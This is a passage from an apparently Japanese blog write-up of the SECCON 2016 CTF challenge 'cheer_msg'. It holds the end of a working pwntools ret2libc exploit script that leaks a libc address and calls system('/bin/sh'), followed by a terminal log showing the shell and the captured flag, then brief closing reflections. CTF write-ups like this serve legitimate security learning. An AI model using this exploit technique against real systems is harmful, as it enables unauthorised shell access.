print "libc_printf_addr = %s" % hex(libc_printf_addr)


libc_base_addr   = libc_printf_addr - libc.symbols['printf']
print "libc_base_addr   = %s" % hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc.symbols['system']
libc_shell_addr  = libc_base_addr + next(libc.search('/bin/sh\x00'))

conn.recvuntil('Message Length >> ')
conn.sendline(str(-148))
getshell =  p32(libc_system_addr)
getshell += b'AAAA'
getshell += p32(libc_shell_addr)

conn.recvuntil('Name >> ')
conn.sendline(getshell)

conn.interactive()

conn.close()

```

　シェルを起動するためにリークしたlibc_printf_addrからprintfのlibc内でのアドレスを引くことでlibcの配置されているアドレス(libc_base_addr)を算出して、後はそこにsystem関数のlibc内でのアドレスを足してsystem関数の位置(libc_system_addr)を求め、同様にして"/bin/sh"の位置(libc_shell_addr)を求めてあげます。すると攻撃はmemleakを送ってアドレスをリークさせた後にmain関数にリターンして、次にリークした情報を元にして作ったgetshellを送ってシェルを奪取するという二段階の構造になります。
　
　実行してみると

```
shir0@shir0:~/src$ socat tcp-listen:30527,reuseaddr,fork exec:"./cheer_msg" 2> /dev/null &
[2] 3004
shir0@shir0:~/src$ python exploit.py
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/shir0/src/cheer_msg'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 30527: Done
libc_printf_addr = 0xf7655dd0
libc_base_addr   = 0xf7609000
[*] Switching to interactive mode

Thank you p\x8ed�AAAA��v�!
Message : 
$ ls
cheer
cheer_msg
exploit.py
exploit.py~
flag.txt
peda-session-cheer_msg.txt
$ cat flag.txt
SECCON{N40.T_15_ju571c3}

```

　成功ですね。flagは"SECCON{N40.T_15_ju571c3}"です。某大先輩様は正義、とのことです。はい。

# 3. 終わりに

　疑問点としては、リターンアドレスの格納位置を調べそれを元に数字の入力値を算出する際に、基本的にASLRが無効になっているgdb上での算出値が、ASLRが有効な環境でも意図した役割を果たしてくれている点が挙げられますね…
　あと地味に気になっているのは実際この問題が出題された大会開催中のサーバーだとgdb-pedaは使えたんでしょうか？なければかなり厳しいなあと感じました。

　また、作問者様のページによるとこの問題は「本来出す予定のなかった簡単な問題」だったそうなので、これに非常に苦労した自分は現在大変凹んでおります。(苦労した原因は自分のしょうもない凡ミスなんですけどね…)

　誤り等があったらご指摘頂けると幸いです。長文失礼致しました。

#4. 参考サイト様
・[SECCON 2016 Online Exploit作問 1/2 （cheer_msg, checker, shopping） - ShiftCrops つれづれなる備忘録](http://shift-crops.hatenablog.com/entry/2016/12/11/155902)